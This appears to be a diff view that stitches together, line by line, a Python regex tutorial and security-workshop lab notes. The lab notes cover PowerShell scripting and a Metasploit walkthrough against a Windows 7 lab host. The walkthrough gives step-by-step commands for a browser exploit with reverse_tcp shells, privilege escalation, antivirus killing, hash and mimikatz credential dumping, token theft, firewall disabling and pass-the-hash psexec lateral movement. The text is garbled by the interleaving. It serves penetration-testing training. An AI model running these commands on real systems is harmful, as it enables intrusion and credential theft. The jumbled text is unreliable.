result = re.match(r'AV', 'AV Analytics ESET AV')
702
print result.start()
703-
- Take that long blob that starts with 636D and finishes with 653B and paste it in:
703+
print result.end()
704-
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
704+
705
Output:
706
0
707
2
708
709
Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
710
711
712-
############################################
712+
713-
# Introduction to scripting and toolmaking #
713+
714-
############################################
714+
715-
https://www.youtube.com/watch?v=usiqXcWb978
715+
re.search(pattern, string):
716
-----------------------------------------------------
717-
Start the ISE
717+
718
719
It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
720-
CTRL+R
720+
721
Code
722
723
result = re.search(r'Analytics', 'AV Analytics ESET AV')
724
print result.group(0)
725
726
Output:
727
Analytics
728
729-
Get-EventLog -LogName application
729+
Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
730
731
732-
------------------------------------------------------------------------------------------------
732+
733-
--- Now run the script ---
733+
734
735-
.\GrabLogs.ps1
735+
736
re.findall (pattern, string):
737
------------------------------------------------------
738-
------------------------------------------------------------------------------------------------
738+
739
740
It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
741
742-
$LogName="application"
742+
743-
Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
743+
Code
744
745
result = re.findall(r'AV', 'AV Analytics ESET AV')
746
print result
747
748-
--- Now run the script ---
748+
Output:
749
['AV', 'AV']
750-
.\GrabLogs.ps1
750+
751
752
753-
------------------------------------------------------------------------------------------------
753+
754
755
re.split(pattern, string, [maxsplit=0]):
756-
param(
756+
757-
    $LogName="application"
757+
758
759-
Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
759+
760
This methods helps to split string by the occurrences of given pattern.
761
762
763-
--- Now run the script ---
763+
Code
764
765-
.\GrabLogs.ps1
765+
result=re.split(r'y','Analytics')
766
result
767
768-
------------------------------------------------------------------------------------------------
768+
Output:
769-
--- Now run the script ---
769+
['Anal', 'tics']
770
771-
.\GrabLogs.ps1 -L[ TAB Key ]
771+
Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
772
773-
.\GrabLogs.ps1 -LogName 		(you should now see LogName spelled out)
773+
774
Code
775
776-
.\GrabLogs.ps1 -LogName system
776+
result=re.split(r's','Analytics eset')
777
print result
778
779-
------------------------------------------------------------------------------------------------
779+
Output:
780
['Analytic', 'e', 'et'] #It has performed all the splits that can be done by pattern "s".
781
782
Code
783-
param(
783+
784-
    $LogName="application",
784+
result=re.split(r's','Analytics eset',maxsplit=1)
785-
    $FACTS
785+
result
786
787-
Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
787+
Output:
788
['Analytic', 'eset']
789
790
Here, you can notice that we have fixed the maxsplit to 1. And the result is, it has only two values whereas first example has three values.
791-
------------------------------------------------------------------------------------------------
791+
792-
--- Now run the script ---
792+
793
794-
.\GrabLogs.ps1 -H[ TAB Key ]
794+
795
re.sub(pattern, repl, string):
796-
.\GrabLogs.ps1 -FACTS 		(you should now see FACTS spelled out)
796+
----------------------------------------------------------
797
798
It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
799
800
Code
801-
------------------------------------------------------------------------------------------------
801+
802-
--- Now get help on the script ---
802+
result=re.sub(r'Ruby','Python','Joe likes Ruby')
803
result
804-
get-help .\GrabLogs.ps1
804+
Output:
805-
GrabLogs.ps1 [[-LogName] <Object>] [[-FACTS] <Object>]
805+
'Joe likes Python'
806
807
808
809
810-
------------------------------------------------------------------------------------------------
810+
811-
param(
811+
re.compile(pattern, repl, string):
812-
    [string]$LogName="application",
812+
----------------------------------------------------------
813-
    $FACTS
813+
814
815-
Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
815+
We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
816
817
818
Code
819-
------------------------------------------------------------------------------------------------
819+
820-
--- Now get help on the script ---
820+
import re
821
pattern=re.compile('XSS')
822-
get-help .\GrabLogs.ps1
822+
result=pattern.findall('XSS is Cross Site Sripting, XSS')
823-
GrabLogs.ps1 [[-LogName] <String>] [[-FACTS] <Object>]
823+
print result
824
result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
825
print result2
826
Output:
827
['XSS', 'XSS']
828-
------------------------------------------------------------------------------------------------
828+
['XSS']
829-
param(
829+
830-
    [string[]]$LogName="application",
830+
Till now,  we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string?  Don't be intimidated.
831-
    $FACTS
831+
832
This can easily be solved by defining an expression with the help of pattern operators (meta  and literal characters). Let's look at the most common pattern operators.
833-
Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
833+
834
 
835
836
837-
------------------------------------------------------------------------------------------------
837+
838-
--- Now get help on the script ---
838+
**********************************************
839
* What are the most commonly used operators? *
840-
get-help .\GrabLogs.ps1
840+
**********************************************
841-
GrabLogs.ps1 [[-LogName] <String[]>] [[-FACTS] <Object>]
841+
842
843
Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and  text mining to extract required information.
844
845-
------------------------------------------------------------------------------------------------
845+
Operators	Description
846-
[CmdletBinding()]
846+
.	        Matches with any single character except newline ‘\n'.
847-
param(
847+
?	        match 0 or 1 occurrence of the pattern to its left
848-
    [Parameter(Mandatory=$True)]
848+
+	        1 or more occurrences of the pattern to its left
849-
    $LogName
849+
*	        0 or more occurrences of the pattern to its left
850
\w	        Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
851-
Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
851+
\d	        Matches with digits [0-9] and /D (upper case D) matches with non-digits.
852
\s	        Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
853
\b	        boundary between word and non-word and /B is opposite of /b
854
[..]	        Matches any single character in a square bracket and [^..] matches any single character not in square bracket
855-
------------------------------------------------------------------------------------------------
855+
\	        It is used for special meaning characters like \. to match a period or \+ for plus sign.
856-
--- Now run the script ---
856+
^ and $	        ^ and $ match the start or end of the string respectively
857
{n,m}	        Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
858-
.\GrabLogs.ps1 
858+
a| b	        Matches either a or b
859
( )	        Groups regular expressions and returns matched text
860
\t, \n, \r	Matches tab, newline, return
861
862
863
For more details on  meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
864-
------------------------------------------------------------------------------------------------
864+
865-
[CmdletBinding()]
865+
Now, let's understand the pattern operators by looking at the below examples.
866-
param(
866+
867-
    [Parameter(Mandatory=$True)]
867+
868-
    $LogName
868+
869
****************************************
870-
Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
870+
* Some Examples of Regular Expressions *
871
****************************************
872
873
******************************************************
874
* Problem 1: Return the first word of a given string *
875
******************************************************
876-
------------------------------------------------------------------------------------------------
876+
877-
<#
877+
878
Solution-1  Extract each character (using "\w")
879-
.Synopsis
879+
---------------------------------------------------------------------------
880-
This is a just a short explantion of the script
880+
881
Code
882-
.Description
882+
883-
This is where provide a more information about how to use the script
883+
import re
884
result=re.findall(r'.','Python is the best scripting language')
885-
.Parameter LogName
885+
print result
886-
This is where you specify the names of different logs
886+
887
Output:
888-
./Syntax
888+
['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
889-
GrabLogs.psl -LogName security
889+
890
891
Above, space is also extracted, now to avoid it use "\w" instead of ".".
892-
.Example
892+
893-
GrabLogs.psl -LogName security
893+
894
Code
895
896-
#>
896+
result=re.findall(r'\w','Python is the best scripting language')
897-
[CmdletBinding()]
897+
print result
898-
param(
898+
899-
    [Parameter(Mandatory=$True)]
899+
Output:
900-
    $LogName
900+
['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
901
902-
Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
902+
903
904
905
Solution-2  Extract each word (using "*" or "+")
906
---------------------------------------------------------------------------
907-
------------------------------------------------------------------------------------------------
907+
908-
--- Now get help on the script ---
908+
Code
909
910-
get-help .\GrabLogs.ps1
910+
result=re.findall(r'\w*','Python is the best scripting language')
911
print result
912
913
Output:
914
['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
915
 
916
917-
------------------------------------------------------------------------------------------------
917+
Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
918-
--- Now get help on the script ---
918+
919-
get-help .\GrabLogs.ps1 -full
919+
Code
920
921
result=re.findall(r'\w+','Python is the best scripting language')
922
print result
923
Output:
924
['Python', 'is', 'the', 'best', 'scripting', 'language']
925
926
927-
<#
927+
928
929-
.Synopsis
929+
930-
This is a just a short explantion of the script
930+
Solution-3 Extract each word (using "^")
931
-------------------------------------------------------------------------------------
932-
.Description
932+
933-
This is where provide a more information about how to use the script
933+
934
Code
935-
.Parameter LogName
935+
936-
This is where you specify the names of different logs
936+
result=re.findall(r'^\w+','Python is the best scripting language')
937
print result
938-
./Syntax
938+
939-
GrabLogs.psl -LogName security
939+
Output:
940
['Python']
941
942-
.Example
942+
If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
943-
GrabLogs.psl -LogName security
943+
944
Code
945
946-
#>
946+
result=re.findall(r'\w+$','Python is the best scripting language')
947-
function Get-GrabLogs{
947+
print result
948-
    [CmdletBinding()]
948+
Output:
949-
    param(
949+
[‘language']
950-
        [Parameter(Mandatory=$True)]
950+
951-
        $LogName
951+
952-
    )
952+
953-
    Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
953+
954-
}
954+
955
********************************************************** 
956
* Problem 2: Return the first two character of each word *
957-
# Attacking Windows 7 #
957+
**********************************************************
958
959-
NOTE: You'll be using your Ubuntu Linux host as the attacker machine in this lab
959+
960-
------------------------Type This------------------------------
960+
961-
sudo /sbin/iptables -F
961+
962-
	infosecaddicts
962+
Solution-1  Extract consecutive two characters of each word, excluding spaces (using "\w")
963
------------------------------------------------------------------------------------------------------
964-
cd ~/toolz/metasploit
964+
965
Code
966-
./msfconsole
966+
967
result=re.findall(r'\w\w','Python is the best')
968-
use exploit/windows/browser/ie_cgenericelement_uaf
968+
print result
969
970-
set ExitOnSession false
970+
Output:
971
['Py', 'th', 'on', 'is,', 'th', 'eb', 'es']
972-
set URIPATH /ie8
972+
973
974-
set PAYLOAD windows/meterpreter/reverse_tcp
974+
975
976-
set LHOST InfoSecAddictsVM                                            
976+
977
978-
exploit -j
978+
Solution-2  Extract consecutive two characters those available at start of word boundary (using "\b")
979-
--------------------------------------------------------------- 
979+
------------------------------------------------------------------------------------------------------
980
981-
- Now from the Win7 host, use Internet Explorer 8 to connect to the exploit address (local address)
981+
Code
982-
- given to you by metasploit.
982+
983
result=re.findall(r'\b\w.','Python is the best')
984-
- The address will be something like:
984+
print result
985
986-
http://infosecaddicts-VM-IP:8080/ie8                                            
986+
Output:
987
['Py', 'is,', 'th', 'be']
988
989
990-
- This will simulate a victim clicking on your malicious link and being exploited with a browser exploit.
990+
991
992
993-
###########################
993+
994-
# Client-Side Enumeration #
994+
********************************************************
995-
###########################
995+
* Problem 3: Return the domain type of given email-ids *
996
********************************************************
997
998-
- You can list the active sessions by typing:
998+
999-
------------------------Type This------------------------------ 
999+
To explain it in simple manner, I will again go with a stepwise approach:
1000-
sessions -l
1000+
1001
1002
1003
1004
1005-
- You can "interact" with any active session by typing sessions -i 3 (replace 3 with the session number you want to interact with)
1005+
Solution-1  Extract all characters after "@"
1006
------------------------------------------------------------------------------------------------------------------
1007-
------------------------Type This------------------------------ 
1007+
1008-
sessions -i 1
1008+
Code
1009
1010
result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz') 
1011
print result 
1012
1013
Output: ['@gmail', '@test', '@strategicsec', '@rest']
1014-
- You should now see Metasploit's meterpreter prompt.
1014+
1015
1016
1017-
********************************** Figure out who and where you are **********************************
1017+
Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
1018
1019-
meterpreter> sysinfo
1019+
1020
result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
1021
print result
1022-
meterpreter> getuid
1022+
1023
Output:
1024
['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
1025-
meterpreter> ipconfig
1025+
1026
1027
1028-
meterpreter> run post/windows/gather/checkvm
1028+
1029
1030
1031-
meterpreter> run get_local_subnets
1031+
Solution – 2 Extract only domain name using "( )"
1032
-----------------------------------------------------------------------------------------------------------------------
1033
1034
1035-
********************************** Escalate privileges and get hashes **********************************
1035+
Code
1036
1037
result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
1038-
meterpreter> use priv
1038+
print result
1039
1040
Output:
1041-
--Option 1: GetSystem
1041+
['com', 'com', 'com', 'biz']
1042-
meterpreter> getsystem
1042+
1043
1044-
--Option 2:
1044+
1045-
meterpreter > run post/windows/escalate/getsystem
1045+
1046
1047-
--Option 3:
1047+
1048-
meterpreter> background
1048+
********************************************
1049-
back
1049+
* Problem 4: Return date from given string *
1050-
use post/windows/escalate/droplnk
1050+
********************************************
1051-
set SESSION 1
1051+
1052-
set PAYLOAD windows/meterpreter/reverse_tcp
1052+
1053-
set LHOST infosecaddicts-VM-IP                                            
1053+
Here we will use "\d" to extract digit.
1054-
set LPORT 1234
1054+
1055-
exploit
1055+
1056
Solution:
1057-
--Option 4:
1057+
----------------------------------------------------------------------------------------------------------------------
1058-
use exploit/windows/local/bypassuac
1058+
1059-
set SESSION 1
1059+
Code
1060-
set PAYLOAD windows/meterpreter/reverse_tcp
1060+
1061-
set LHOST infosecaddicts-VM-IP                                            
1061+
result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
1062-
set LPORT 12345
1062+
print result
1063-
exploit
1063+
1064
Output:
1065-
--Option 5:
1065+
['12-05-2007', '11-11-2016', '12-01-2009']
1066-
use exploit/windows/local/service_permissions
1066+
1067-
set SESSION 1
1067+
If you want to extract only year again parenthesis "( )" will help you.
1068-
set PAYLOAD windows/meterpreter/reverse_tcp
1068+
1069-
set LHOST infosecaddicts-VM-IP                                            
1069+
1070-
set LPORT 5555
1070+
Code
1071-
exploit
1071+
1072
1073-
--Option 6:
1073+
result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
1074-
use exploit/windows/local/trusted_service_path
1074+
print result
1075-
set SESSION 1
1075+
1076-
set PAYLOAD windows/meterpreter/reverse_tcp
1076+
Output:
1077-
set LHOST infosecaddicts-VM-IP                                            
1077+
['2007', '2016', '2009']
1078-
set LPORT 4567
1078+
1079-
exploit
1079+
1080
1081
1082-
--Option 7:
1082+
1083-
use exploit/windows/local/ppr_flatten_rec
1083+
*******************************************************************
1084-
set SESSION 1
1084+
* Problem 5: Return all words of a string those starts with vowel *
1085-
set PAYLOAD windows/meterpreter/reverse_tcp
1085+
*******************************************************************
1086-
set LHOST infosecaddicts-VM-IP                                            
1086+
1087-
set LPORT 7777
1087+
1088-
exploit
1088+
1089
1090-
--Option 8:
1090+
Solution-1  Return each words
1091-
use exploit/windows/local/ms_ndproxy
1091+
-----------------------------------------------------------------------------------------------------------------
1092-
set SESSION 1
1092+
1093-
set PAYLOAD windows/meterpreter/reverse_tcp
1093+
Code
1094-
set LHOST infosecaddicts-VM-IP                                            
1094+
1095-
set LPORT 7788
1095+
result=re.findall(r'\w+','Python is the best')
1096-
exploit
1096+
print result
1097
1098
Output:
1099-
--Option 9:
1099+
['Python', 'is', 'the', 'best']
1100-
use exploit/windows/local/ask
1100+
1101-
set SESSION 1
1101+
1102-
set PAYLOAD windows/meterpreter/reverse_tcp
1102+
1103-
set LHOST infosecaddicts-VM-IP                                            
1103+
1104-
set LPORT 7799
1104+
1105-
exploit
1105+
Solution-2  Return words starts with alphabets (using [])
1106
------------------------------------------------------------------------------------------------------------------
1107
1108-
meterpreter > getuid
1108+
Code
1109-
Server username: win7-64-victim\Workshop
1109+
1110
result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
1111-
meterpreter > getsystem
1111+
print result
1112-
...got system (via technique 1).
1112+
1113
Output:
1114
['I', 'ove', 'on']
1115-
meterpreter > getuid
1115+
1116-
Server username: NT AUTHORITY\SYSTEM
1116+
Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
1117
1118-
--------------------------------------------------------
1118+
1119
1120
1121-
meterpreter > ps                (search for a process running as NT AUTHORITY\SYSTEM)
1121+
1122
Solution- 3
1123-
meterpreter > migrate 2800      (your process id WILL NOT be 2800, but make sure you use one that is running at NT AUTHORITY\SYSTEM)
1123+
------------------------------------------------------------------------------------------------------------------
1124
1125-
meterpreter> run killav
1125+
Code
1126
1127-
meterpreter> run post/windows/gather/hashdump
1127+
result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
1128
print result 
1129-
meterpreter> run post/windows/gather/credentials/credential_collector
1129+
1130
Output:
1131
['I']
1132-
********************************** Steal Tokens **********************************
1132+
1133
1134-
meterpreter > getsystem
1134+
In similar ways, we can extract words those starts with constant using "^" within square bracket.
1135
1136-
meterpreter > use incognito
1136+
1137
Code
1138-
meterpreter > list_tokens -u
1138+
1139
result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
1140-
meterpreter > list_tokens -g
1140+
print result
1141
1142-
meterpreter > impersonate_token                         <-- choose who you want to impersonate but be sure to use 2 slashes in the name (ex: impersonate_token domain\\user)
1142+
Output:
1143
[' love', ' Python']
1144-
meterpreter> getuid
1144+
1145
Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
1146
1147-
************ Stealing credentials and certificates ************
1147+
1148-
- NOTE: Most of the stuff after 'kerberos' DOES NOT work, but is given here so you know the correct syntax to use when connected to AD or dealing with smart/CAC cards.
1148+
Code
1149
1150-
meterpreter > getsystem
1150+
result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
1151
print result
1152-
meterpreter > load mimikatz
1152+
1153
Output:
1154-
meterpreter > kerberos
1154+
['love', 'Python']
1155
1156-
meterpreter > mimikatz_command -f sekurlsa::logonPasswords -a "full"
1156+
1157
1158-
meterpreter > msv                                                               <-- Your AD password
1158+
1159
1160-
meterpreter > livessp                                                           <-- Your Windows8 password
1160+
1161
*************************************************************************************************
1162-
meterpreter > ssp                                                               <-- Your outlook password
1162+
* Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
1163
*************************************************************************************************
1164-
meterpreter > tspkg                                                             <-- Your AD password
1164+
1165
1166-
meterpreter > wdigest                                                           <-- Your AD password
1166+
We have a list phone numbers in list "li" and here we will validate phone numbers using regular
1167
1168-
meterpreter > mimikatz_command -f crypto::listStores
1168+
1169
1170-
meterpreter > mimikatz_command -f crypto::listCertificates
1170+
1171
Solution
1172-
meterpreter > mimikatz_command -f crypto::exportCertificates CERT_SYSTEM_STORE_CURRENT_USER
1172+
-------------------------------------------------------------------------------------------------------------------------------------
1173
1174-
meterpreter > mimikatz_command -f crypto::patchcapi
1174+
1175
Code
1176-
meterpreter> search -d <directory> -f <file-pattern>
1176+
1177
import re
1178
li=['9999999999','999999-999','99999x9999']
1179-
********************************** Enumerate the host you are on **********************************
1179+
for val in li:
1180
 if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
1181-
meterpreter > run getcountermeasure
1181+
     print 'yes'
1182
 else:
1183-
meterpreter> run winenum
1183+
     print 'no'
1184
1185-
meterpreter > run post/windows/gather/enum_applications
1185+
1186
Output:
1187-
meterpreter > run post/windows/gather/enum_logged_on_users
1187+
yes
1188
no
1189-
meterpreter > run post/windows/gather/usb_history
1189+
no
1190
1191-
meterpreter > run post/windows/gather/enum_shares
1191+
1192
1193-
meterpreter > run post/windows/gather/enum_snmp
1193+
1194
1195-
meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
1195+
******************************************************
1196
* Problem 7: Split a string with multiple delimiters *
1197
******************************************************
1198-
********************************** FIX PSEXEC **********************************
1198+
1199
1200-
- We use the shell command to get to the Victim Dos command so we can add a registry field.
1200+
1201-
------------------------Type This------------------------------ 
1201+
Solution
1202-
meterpreter > execute -c -H -f cmd -a "/k" -i
1202+
---------------------------------------------------------------------------------------------------------------------------
1203-
reg /?
1203+
1204
1205
Code
1206-
- Created a registry field to the Victim computer, this will allow us to access the machine using and exploit via PSEXEC.
1206+
1207-
------------------------Type This------------------------------ 
1207+
import re
1208-
C:\Windows\system32> reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system  /v LocalAccountTokenFilterPolicy  /t REG_DWORD  /d  1
1208+
line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
1209
result= re.split(r'[;,\s]', line)
1210
print result
1211-
c:\Windows\system32> netsh advfirewall set allprofiles state off
1211+
1212
Output:
1213-
********************************** Lateral Movement *******************************
1213+
['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
1214
1215
1216-
Now we can run the PSEXEC exploit.
1216+
1217-
-- Option 1:
1217+
We can also use method re.sub() to replace these multiple delimiters with one as space " ".
1218-
use exploit/windows/smb/psexec
1218+
1219
1220-
set SMBUser Workshop
1220+
Code
1221
1222-
set SMBPass password
1222+
import re
1223
line = 'asdf fjdk;afed,fjek,asdf,foo'
1224-
set RHOST Win7-VM-IP
1224+
result= re.sub(r'[;,\s]',' ', line)
1225
print result
1226-
set payload windows/meterpreter/reverse_tcp
1226+
1227
Output:
1228-
set LHOST infosecaddicts-VM-IP
1228+
asdf fjdk afed fjek asdf foo
1229
1230-
set LPORT 2345
1230+
1231
1232-
exploit
1232+
1233
**************************************************
1234
* Problem 8: Retrieve Information from HTML file *
1235
**************************************************
1236
1237-
-- Option 2:
1237+
1238-
use exploit/windows/smb/psexec
1238+
1239
I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
1240-
set SMBUser Workshop
1240+
1241
1242-
set SMBPass aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
1242+
1243
Sample HTML file (str)
1244-
set payload windows/meterpreter/reverse_tcp
1244+
1245
<tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
1246-
set RHOST Win7-VM-IP                      
1246+
<tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
1247
<tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
1248-
set LHOST infosecaddicts-VM-IP
1248+
<tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
1249
<tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
1250-
set LPORT 5678
1250+
<tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
1251
<tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
1252-
exploit
1252+
Solution:
1253-
####################################################
1253+
1254-
# Running Powershell From A Command Prompt         #
1254+
1255-
# Using Powersploit & Nishang			           #
1255+
1256-
####################################################
1256+
Code
1257
1258-
COMMAND & 1 PARAMATER SYNTAX:		
1258+
result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
1259-
	powershell -command "& {&'some-command' someParam}"
1259+
print result
1260
1261
Output:
1262
[('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
1263-
MULTIPLE COMMAND & PARAMETER SYNTAX
1263+
1264-
	powershell -command "& {&'some-command' someParam}"; "& {&'some-command' -SpecificArg someParam}"
1264+
1265
1266
You can read html file using library urllib2 (see below code).
1267
1268-
Tools to download to the web root (/var/www) of your infosecaddicts-Ubuntu-VM:
1268+
1269-
git clone https://github.com/mattifestation/PowerSploit.git
1269+
Code
1270-
git clone https://github.com/samratashok/nishang
1270+
1271
import urllib2
1272-
from the infosecaddicts home dir copy nc.exe to /var/www/ folder
1272+
response = urllib2.urlopen('')
1273
html = response.read()